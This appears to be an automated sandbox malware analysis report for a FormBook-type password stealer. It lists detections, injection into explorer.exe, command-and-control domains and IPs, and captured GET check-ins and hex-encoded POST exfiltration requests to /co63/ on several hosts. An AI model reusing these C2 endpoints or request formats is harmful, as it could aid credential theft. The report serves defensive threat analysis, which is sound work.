Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Antivirus detection for URL or domain

Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: http://www.mattewigs.com/co63/?aJElwV=3AiLeGuBi37RfNw9iEe1gED9S58L9D44LalDhi66HjPelwFncooMVS2PHplI6kLySndc&lz=9rXXjDMXIb6HXH-	Avira URL Cloud: Label: malware
Source: http://www.mattewigs.com/co63/	Avira URL Cloud: Label: malware
Source: http://www.mattewigs.com/co63/www.dulichphucbinh.com	Avira URL Cloud: Label: malware
Source: http://www.naspewt.xyz/co63/www.mattewigs.com	Avira URL Cloud: Label: phishing
Source: http://www.naspewt.xyz/co63/	Avira URL Cloud: Label: phishing
Source: www.mattewigs.com/co63/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe

ReversingLabs: Detection: 23%

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 0000000F.00000000.477862889.00007FFA13021000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 0000000F.00000000.477862889.00007FFA13021000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.427644663.0000000001622000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000002.431531509.00000000017C0000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.424015597.0000000001483000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.487071109.0000000000FE0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.486692282.000000000496F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004DBF000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.427644663.0000000001622000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000002.431531509.00000000017C0000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.424015597.0000000001483000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.487071109.0000000000FE0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.486692282.000000000496F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004DBF000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: hkkRsa.exe, 0000000E.00000002.486732177.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.489051209.0000000002BE0000.00000040.10000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000002.911333276.0000000001330000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: fOac.pdbSHA256 source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000000.385827333.0000000000982000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000010.00000002.911442424.0000000004A68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: hkkRsa.exe, 0000000E.00000002.486732177.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.489051209.0000000002BE0000.00000040.10000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000002.911333276.0000000001330000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: fOac.pdb source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000000.385827333.0000000000982000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000010.00000002.911442424.0000000004A68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: eex.pdb source: explorer.exe, 0000000F.00000000.477862889.00007FFA13021000.00000020.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 4x nop then pop ebx		10_2_00407B1A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 4x nop then pop esi		10_2_00417331

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.naspewt.xyz
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80
Source: C:\Windows\explorer.exe	Domain query: www.mattewigs.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.215.254 80
Source: C:\Windows\explorer.exe	Domain query: www.vestostore.com
Source: C:\Windows\explorer.exe	Domain query: www.ballthingsez.com
Source: C:\Windows\explorer.exe	Network Connect: 76.223.26.96 80
Source: C:\Windows\explorer.exe	Network Connect: 184.94.215.140 80
Source: C:\Windows\explorer.exe	Network Connect: 152.199.21.175 80
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80
Source: C:\Windows\explorer.exe	Network Connect: 34.149.87.45 80
Source: C:\Windows\explorer.exe	Domain query: www.saleschildcarriers.com
Source: C:\Windows\explorer.exe	Domain query: www.myccsmartmove.com
Source: C:\Windows\explorer.exe	Domain query: www.takealicense.com
Source: C:\Windows\explorer.exe	Network Connect: 86.38.202.187 80
Source: C:\Windows\explorer.exe	Domain query: www.dlafluid.com

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49731 -> 23.227.38.74:80

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe

DNS query: www.naspewt.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.mattewigs.com/co63/

Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=+eMjGIULdB7b+FjbEEC2CFnAZBB7ZIs3DDH5LmXZiTUQNAaNvk9FU6ysQ2HcgTeGr7Jo&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.vestostore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=gtjAeIS6VJWpMIOvAorICaUf7+ed7+VEBFwjlL0fBy8QswGl2t9TVUNzPjmUB+tmUyAO&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.saleschildcarriers.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.ballthingsez.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=7844uNirl1OmKo/iz3P/xC/n+TlWcrf11+et7B27/2a6MTbhGvfvyecJXVPFAq5Jbxq/&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.dlafluid.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=McyR/z78/oMNrvlFuqxD/V8JfWPC4TTnrx7QyB/aq5OEZJfdbD3j+IdLq+ssY6HN52vi&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.myccsmartmove.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=C9mZAu2amj0/7xzN/ZGYFZ9Os9Pxtlf2WxsFucW+74+VhIoIvzmW589U18pQtRovant4&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.takealicense.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=3AiLeGuBi37RfNw9iEe1gED9S58L9D44LalDhi66HjPelwFncooMVS2PHplI6kLySndc&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.mattewigs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 76.223.26.96 76.223.26.96
Source: Joe Sandbox View	IP Address: 76.223.26.96 76.223.26.96

Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.vestostore.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.vestostore.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.vestostore.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 32 38 41 5a 59 73 77 35 63 54 4c 46 6c 6c 7e 72 63 52 6a 69 53 52 72 50 52 52 64 4c 4f 4b 68 33 59 31 47 67 56 6d 7a 76 79 42 34 68 63 52 69 68 6d 56 30 6d 52 74 37 30 47 41 76 6d 76 78 75 31 7a 38 59 68 77 37 42 48 6f 36 4e 4d 71 71 6a 34 71 35 50 61 53 73 72 71 76 5a 71 63 62 68 54 39 34 6b 59 70 6f 4c 28 6c 35 7a 4b 46 33 35 63 6f 52 61 41 44 30 46 35 75 4c 4a 66 71 28 6c 48 53 63 54 56 70 36 74 69 56 6d 43 54 33 67 38 33 54 35 36 58 6b 64 38 62 50 57 70 78 72 66 59 76 5a 6c 61 74 67 4c 66 32 50 41 4f 38 39 63 67 32 51 4a 63 4c 5a 57 57 72 2d 59 6f 28 41 6a 78 4d 70 75 79 65 50 6e 41 5a 4c 63 46 54 49 45 6f 4d 32 28 68 77 37 6b 69 69 6b 49 6d 71 79 53 75 4a 35 79 30 71 46 37 4d 6d 6b 7a 62 4c 55 65 6f 70 46 68 79 6b 7a 28 34 66 7a 6c 4b 51 30 35 55 4e 39 61 69 79 64 5a 4d 68 48 30 4e 68 5a 45 6d 56 34 31 5a 61 70 71 42 5a 6c 47 69 67 4e 78 52 69 6d 30 71 78 7a 42 57 74 57 41 52 73 48 74 38 75 73 6d 30 52 33 68 58 53 57 75 42 6f 5a 70 50 61 72 6b 4c 77 75 55 54 6a 6d 6f 47 59 77 4d 72 75 50 35 4a 33 35 4e 71 68 47 7e 31 32 62 58 6d 46 6f 35 56 52 54 65 37 67 43 59 69 70 66 53 63 33 35 37 54 6c 7a 42 34 35 55 58 2d 4f 4d 7a 6a 33 49 28 63 62 55 61 72 55 77 76 73 66 72 41 62 33 79 73 79 34 72 77 2d 70 61 37 72 6b 5a 71 63 62 42 4e 4d 45 32 6b 71 73 6e 55 66 6f 74 6a 69 64 39 50 43 67 6f 45 30 38 5a 36 79 4b 6e 45 6d 76 4a 62 5f 6c 59 46 68 57 53 4d 6c 48 45 6f 34 79 2d 28 51 6d 59 43 4b 4d 4a 45 32 4c 46 5a 77 65 63 4e 6f 6a 76 33 43 43 70 68 54 38 79 4c 59 56 57 67 70 49 55 54 4b 32 53 33 34 69 37 6f 48 50 6f 42 34 73 4a 46 58 76 4c 51 6f 34 63 41 5a 76 77 6c 63 44 48 64 67 36 62 43 59 51 44 67 37 6d 6f 6e 66 33 54 46 6e 79 56 7a 56 28 79 38 7a 59 79 6a 73 6d 77 6b 7a 32 5a 72 56 34 49 30 39 79 4b 69 53 5a 68 62 74 43 57 61 48 43 36 61 50 5a 77 54 6d 70 51 42 75 37 58 66 74 28 39 55 31 4f 68 73 71 70 5a 67 7a 5a 43 50 4a 33 39 42 36 34 4d 43 6d 69 58 62 38 69 64 53 31 64 67 36 68 64 79 42 30 6f 32 7e 6e 5a 5f 56 47 64 74 50 37 57 62 33 69 67 47 34 50 38 53 59 6d 34 53 47 46 32 42 35 4c 47 58 65 6b 49 58 78 41 37 37 5a 63 30 42 71 50 31 58 6f 66 34 63 36 33 70 4e 68 59 43 76 38 62 34 62 36 61 6b 58 67 2d 51 6a 74 31 6b 55 4b 73 58 74 75 36 51 45 65 61 36 6f 79 6f 46 47 66 6a 28 45 47 56 68 6a 4a 74 32 46 31 69 41 6e 47 39 6b 73 69 35 33 7a 69 43 37 4b 61 48 7a 47 7a 69 78 54 62 38 42 4f 6b 53 32 76 74 30 4e 34 46 71 6a 36 78 65 51 49 61 4c 4d 6a 4e 33 57 36 51 43 6c 4f 6c 56 44 47 68 62 39 49 69 4f 4a 4e 59 32 49 76 6e 6d 34 78 28 72 44 38 35 45 70 42 56 77 4f 46 78 4a 4b 6b 6d 6a 39 35 68 7a 4a 64 4a 69 56 51 32 79 5a 62 59 4
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.vestostore.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.vestostore.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.vestostore.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 32 38 41 5a 59 73 45 74 65 6a 66 59 76 33 71 75 52 44 61 76 57 78 33 52 5a 78 78 61 51 6f 67 46 56 47 7e 47 56 6d 6a 6a 72 77 6f 7a 4e 67 53 68 67 58 73 74 59 74 37 7a 4f 67 76 6c 72 78 69 4e 36 4c 45 36 77 36 31 74 6f 36 46 4c 72 37 7a 48 69 37 32 43 4f 70 7a 53 33 70 75 4f 66 6b 50 2d 28 48 6b 74 74 4f 44 6c 32 6a 75 55 79 72 31 30 58 2d 6f 31 79 56 6c 77 41 74 48 68 32 7a 48 61 63 31 4e 74 79 4a 75 39 33 53 61 31 72 2d 66 37 34 63 44 53 51 73 50 4d 64 4f 35 68 66 5f 28 6e 69 62 74 34 58 76 76 4c 4b 71 6f 6a 5a 79 28 76 4a 64 66 73 43 6e 61 4b 51 50 69 30 28 53 6b 54 35 41 79 50 6c 78 67 4f 62 32 62 4f 42 72 6f 2d 39 77 78 4c 7a 69 54 76 42 47 37 36 49 71 46 30 38 53 58 41 68 64 7a 63 28 5f 33 51 55 66 56 35 73 79 6f 6b 6a 59 76 65 73 70 77 68 7e 46 68 65 62 55 61 46 58 49 34 5f 79 76 74 64 50 58 30 59 32 36 33 6d 70 79 42 44 42 6c 45 43 73 52 43 72 7a 6f 59 75 4d 57 68 48 47 68 6b 31 6a 65 47 39 6d 30 64 73 69 77 36 6b 79 52 6f 44 30 64 75 69 6b 4c 6f 75 55 57 48 32 36 48 49 77 4e 49 33 54 39 36 66 38 42 4b 68 6e 67 56 6d 4d 41 6b 52 5f 35 56 41 45 59 4c 6f 43 5a 68 4e 66 58 5f 50 36 39 54 6c 7a 49 59 35 61 58 2d 4f 79 7a 6a 33 6c 28 61 28 54 62 72 63 77 70 73 54 74 42 74 6a 76 71 6a 4e 51 38 2d 70 47 7e 71 6c 4f 39 50 4f 63 4e 50 6b 51 6a 4c 45 6e 53 72 51 75 6f 68 55 56 65 41 45 76 4d 57 68 45 6a 69 54 38 45 6d 6a 41 61 38 74 2d 50 56 65 35 4e 6c 48 48 6e 6f 7e 74 70 68 6d 55 50 37 38 65 4c 51 75 37 66 44 69 6d 4e 49 66 71 33 68 69 74 67 53 67 6d 4b 6f 42 47 77 4c 6b 51 51 34 7e 31 7a 37 6d 56 31 47 79 65 42 59 34 5a 44 7a 76 5a 59 4b 6f 53 48 76 72 51 31 4e 58 54 58 44 76 68 4b 34 39 59 6c 34 7e 48 77 63 6d 78 46 7a 7a 63 35 7a 7a 6d 34 54 6c 30 71 5f 53 73 32 69 66 58 68 44 59 4f 6d 70 75 4c 6a 6c 64 73 54 39 75 50 57 67 4b 66 65 4f 45 43 56 57 74 36 52 72 6d 6b 48 64 54 4f 53 31 6d 35 6c 72 5a 48 33 41 4e 7a 49 65 6d 66 5a 50 56 52 64 67 57 30 52 71 75 73 43 48 59 47 33 67 70 53 4d 30 34 73 36 45 6c 71 52 57 55 4e 43 70 47 54 77 52 74 67 72 65 38 7a 66 32 55 4a 57 58 32 30 30 4a 47 73 55 68 41 45 69 54 48 43 48 73 59 77 6e 63 52 7a 6d 64 77 2d 34 68 6c 73 72 5a 6e 45 30 62 63 4b 69 4d 51 61 6d 5a 77 5a 75 6d 6f 6b 46 36 72 57 70 4e 55 49 41 36 71 67 79 66 35 72 66 6a 33 79 48 6b 42 7a 49 75 65 46 69 31 55 6f 47 63 6b 6f 6a 70 33 7a 76 69 37 43 58 6e 28 56 7a 6e 78 54 61 39 4a 4f 69 67 36 70 74 30 4d 31 4e 4b 57 42 78 75 51 42 62 4b 41 6f 4e 33 32 76 51 42 4a 4b 6b 56 50 73 6c 59 4e 50 6d 65 4a 4a 4c 56 52 70 6e 6d 56 48 28 72 48 76 33 6c 59 56 56 41 47 6a 6b 70 4b 6b 6b 67 52 70 7a 57 74 55 4d 6c 56 63 31 54 35 78 42
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.saleschildcarriers.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.saleschildcarriers.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.saleschildcarriers.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 6f 50 76 36 41 73 65 6a 5a 70 4b 5f 58 6f 36 6a 61 38 71 44 57 74 34 70 39 39 36 68 34 71 52 39 61 7a 31 42 28 59 67 65 48 6a 67 46 6b 78 44 5f 7e 34 68 43 46 51 45 4f 4d 52 69 46 46 4f 6c 56 46 6d 49 47 30 51 43 67 30 74 44 69 37 6f 68 63 46 4f 4a 6c 58 35 71 4b 6b 75 30 6e 6b 62 6b 72 53 67 28 57 6d 6b 4a 76 6d 56 4e 52 72 53 69 37 71 74 63 32 4a 4c 78 4b 71 74 70 43 6b 56 64 50 53 63 36 55 31 65 36 71 4a 69 44 34 4e 38 4c 61 39 38 4e 4a 67 55 4e 78 41 33 72 63 64 52 58 48 7a 4c 4b 65 72 68 4f 70 73 5f 54 77 61 6d 61 4e 66 6a 6c 75 72 61 31 65 50 50 6d 77 58 44 7e 49 39 4d 51 42 66 6a 4f 51 52 74 61 7a 4c 30 30 69 7e 2d 66 77 6a 32 68 69 50 31 61 55 30 6f 6e 64 35 55 48 67 57 75 6c 64 7a 59 32 58 56 79 52 4a 6a 33 58 52 74 44 47 6b 28 56 32 36 55 59 50 70 59 34 39 64 59 4c 6b 6c 4b 49 78 37 70 68 69 4a 75 36 51 6f 70 56 74 53 73 52 57 46 62 47 4c 4b 4d 4a 4d 62 6f 51 61 4c 59 62 45 44 35 4a 31 68 31 66 44 38 76 67 52 70 67 4d 36 58 45 59 58 42 76 2d 36 44 38 6c 75 52 4a 6c 32 71 7a 32 74 4e 72 53 69 55 38 76 6d 5f 6f 6a 67 39 37 78 73 7a 79 54 33 72 36 5a 78 76 55 56 42 35 53 63 58 42 59 36 36 46 42 53 6a 65 74 58 6e 59 6c 57 4b 51 65 72 4f 79 73 53 33 64 4e 68 68 31 6b 4f 4f 61 75 54 73 63 4b 68 48 49 39 6f 6b 4a 6a 4b 71 61 38 30 5a 71 77 5f 77 57 4a 58 4e 58 41 41 65 34 77 61 59 33 6f 55 41 58 61 6b 30 53 36 30 68 35 64 33 70 59 56 2d 41 7a 4a 65 76 37 34 6b 55 67 77 32 45 52 41 6f 71 4a 4d 73 4a 38 67 46 6e 56 48 66 30 43 6d 36 4d 65 49 38 41 4b 4a 64 35 57 53 73 38 55 63 35 61 50 34 69 48 54 39 4b 30 54 64 7a 59 76 6a 67 34 6c 6c 74 28 30 6e 31 51 7a 51 53 41 50 4f 33 36 5f 39 64 30 4f 52 46 62 47 30 76 34 39 31 42 76 6a 50 78 6b 4e 50 5f 5a 34 37 44 4d 75 50 76 30 6d 6f 4f 6e 45 6a 71 5a 6d 6c 67 35 78 77 68 59 43 32 30 6e 68 6d 5f 7a 5f 4b 61 6e 50 5a 37 39 70 58 2d 47 4b 52 34 32 35 75 61 66 54 68 54 4c 73 42 50 6b 4e 76 45 39 67 76 5f 73 5a 28 33 44 34 73 7a 28 70 72 72 45 42 53 70 45 54 6b 6d 37 54 71 5a 52 52 66 62 5a 6c 7a 32 6e 73 39 52 52 50 45 39 48 55 49 61 50 49 53 62 52 61 36 61 48 48 37 4b 59 78 78 4e 56 71 6f 4a 72 54 75 2d 50 43 56 76 78 53 7a 69 62 61 6d 71 6d 54 32 36 57 67 61 50 6c 67 76 35 48 71 38 69 71 39 31 63 31 71 38 39 68 44 66 67 47 33 78 47 41 74 47 4e 72 44 42 59 5a 42 42 67 6b 57 58 4b 31 4e 4c 56 42 57 64 59 56 74 46 50 34 37 31 42 35 47 48 74 79 64 49 65 44 48 49 66 6b 69 72 76 71 6b 50 68 45 55 73 6b 52 6b 34 45 5a 75 63 46 46 75 4b 75 30 55 45 32 52 6d 6e 46 41 70 67 6d 63 33 28 51 79 43 62 75 32 45 6f 38 6c 5f 31 76 63 78 6c 33 5a 36 64 4f 4c 72 48 6b 47 2d 5a 4
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.saleschildcarriers.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.saleschildcarriers.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.saleschildcarriers.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 6f 50 76 36 41 74 6d 4e 66 5a 7e 4d 64 36 75 67 5a 50 53 78 53 4e 49 42 79 66 7e 34 36 39 63 61 58 46 34 71 28 5a 51 43 50 42 55 62 70 79 4c 5f 34 2d 30 45 66 67 45 4e 62 42 69 47 54 5f 5a 74 4d 56 34 65 30 55 61 65 30 74 4c 6c 6a 35 78 56 4e 4d 68 2d 5a 4a 6e 75 37 2d 77 45 67 5a 63 71 53 43 44 61 33 51 56 76 72 45 35 54 32 30 57 67 6f 5a 45 36 41 4b 64 49 68 49 31 62 78 57 55 70 44 4a 43 51 79 66 61 47 59 54 36 30 44 2d 6a 2d 7e 65 74 46 28 56 39 32 4b 56 57 56 61 7a 7a 39 28 70 79 47 6e 42 33 74 6b 65 58 75 50 6c 69 46 66 68 4a 39 73 62 46 33 46 73 48 4f 49 67 58 71 35 4c 6f 42 64 57 50 56 5a 4b 75 39 48 57 73 41 7a 4e 47 54 33 57 52 48 66 42 65 54 78 35 4c 51 34 57 76 4f 53 4c 63 68 67 70 4f 68 66 41 35 62 67 58 54 59 7a 6a 62 30 36 55 75 7a 56 4a 6a 30 62 36 4a 76 56 4b 6c 4e 49 5f 68 33 69 56 36 78 74 64 49 65 70 47 31 34 38 43 6d 47 52 31 54 4e 4e 4c 6b 4c 69 51 57 61 56 37 63 66 33 71 74 56 31 66 48 6b 75 44 4d 51 6c 4d 36 52 41 62 6a 51 76 2d 79 44 38 6c 7e 42 4a 58 4f 71 68 6c 31 61 38 67 4b 4c 6c 66 6d 61 72 7a 51 55 78 69 35 5f 79 54 6e 5f 72 36 52 76 54 58 56 35 58 38 6e 4f 61 36 36 46 50 79 6a 63 74 58 6e 51 6c 57 4c 30 65 70 75 2d 76 53 28 64 46 41 64 33 6b 39 57 51 6f 41 77 38 46 68 48 4d 38 71 4e 55 6e 4c 47 79 38 33 34 35 7a 66 55 57 64 47 35 55 4c 42 4f 38 67 6f 67 30 6a 30 30 48 54 45 4d 34 36 30 74 43 63 32 35 36 66 2d 39 72 49 65 76 6b 33 31 34 4a 6d 48 45 64 62 74 58 56 54 62 74 50 68 31 6a 37 48 5f 67 48 6f 36 31 52 4a 2d 30 65 53 74 74 73 5a 34 59 49 51 72 43 34 38 68 43 57 7a 65 6b 67 50 6e 78 58 72 68 6b 30 6e 72 7a 79 6e 45 68 53 64 54 30 62 45 58 76 46 76 36 39 62 55 46 4c 35 7e 2d 77 63 33 51 4b 30 61 43 63 5a 46 5f 45 67 74 42 6f 79 4b 4b 55 33 79 4c 33 47 6d 4c 4a 37 69 54 5a 32 28 31 51 74 33 30 71 5f 77 4c 44 51 4b 71 7a 31 50 35 6c 4e 44 75 61 44 58 36 32 62 67 61 76 6a 6c 77 75 53 4e 38 77 67 6c 47 64 43 74 76 77 36 30 68 28 64 6c 78 4c 51 79 65 6b 68 61 72 63 37 38 6c 48 65 75 4c 52 43 51 4a 5a 48 70 57 53 49 28 57 38 7a 53 38 76 50 46 36 6e 39 50 4c 35 70 28 38 76 79 38 6f 6b 4d 39 35 6c 45 68 62 28 7a 76 64 48 30 58 39 35 5f 73 6d 4c 56 71 70 4b 6f 7e 5f 61 68 66 75 78 76 75 4a 7a 61 33 31 69 57 7a 76 49 4b 28 73 52 62 65 58 71 61 78 47 59 78 47 2d 54 54 4f 2d 42 42 4b 48 77 52 58 70 74 4a 4b 46 42 57 49 49 55 2d 49 76 30 65 31 45 78 47 47 74 6d 64 4f 6f 37 46 49 66 6b 34 6f 72 69 63 4f 52 46 57 74 6d 31 52 34 45 34 62 63 41 30 70 4a 74 68 70 41 33 5a 6c 74 31 41 74 69 55 30 73 28 51 66 30 62 75 36 58 68 63 31 51 67 50 6c 63 76 6e 5a 36 62 4d 6d 32 51 47 7e 6e 49
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.ballthingsez.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.ballthingsez.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.ballthingsez.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 56 44 31 4b 35 70 54 42 74 7a 33 73 69 4a 62 7a 65 4c 62 5f 47 50 28 53 46 78 65 66 50 37 78 68 6b 65 56 35 70 77 4d 39 56 54 56 76 39 76 6b 35 70 34 6b 76 4f 7a 6f 76 30 62 70 68 76 4d 75 4c 28 30 61 48 47 6b 28 64 62 58 50 73 31 48 34 36 39 6c 78 57 35 7a 4e 64 62 4d 6d 34 38 42 5a 6a 46 61 41 45 28 33 71 4f 31 6f 46 58 68 50 66 32 32 4b 5a 36 34 65 6b 68 53 6a 62 53 31 72 66 77 6c 67 7e 34 50 74 49 72 46 5f 47 43 74 68 34 6c 41 46 6a 71 30 4a 28 6a 58 4b 4a 35 4f 49 4d 6f 6d 62 6c 53 37 69 39 61 71 50 43 73 73 65 65 71 6b 43 4a 65 52 73 59 7a 47 56 4c 4a 4e 58 66 59 52 75 36 33 32 53 30 6b 62 55 6f 42 59 68 67 68 50 36 33 51 6d 35 4b 5f 4b 38 6c 43 44 45 33 34 4a 53 46 6e 53 61 71 69 53 50 6f 46 4e 32 68 6a 31 4d 31 48 45 2d 50 61 4b 4a 6a 36 57 49 70 41 50 49 35 6e 28 33 79 4c 39 53 7a 5a 53 55 63 4c 76 46 28 74 49 43 6d 79 62 5f 4f 50 51 38 37 48 77 36 4e 33 45 45 47 7a 71 69 28 35 55 62 44 42 28 6b 65 4b 72 72 4f 51 33 78 48 6d 59 77 57 4c 6d 32 35 65 53 51 4f 6a 7e 63 41 56 65 53 31 6c 5a 4c 64 58 70 33 73 44 66 63 4f 31 4e 73 44 35 48 71 58 72 31 44 30 5f 67 48 6d 69 4a 52 67 35 4f 61 51 61 43 30 4f 7a 42 76 75 37 4e 49 6c 6d 6e 61 58 61 46 79 55 32 38 6f 62 6a 51 31 4a 41 34 47 6e 46 38 64 56 39 62 33 37 52 6b 4c 76 77 43 71 44 4f 4a 7a 69 44 49 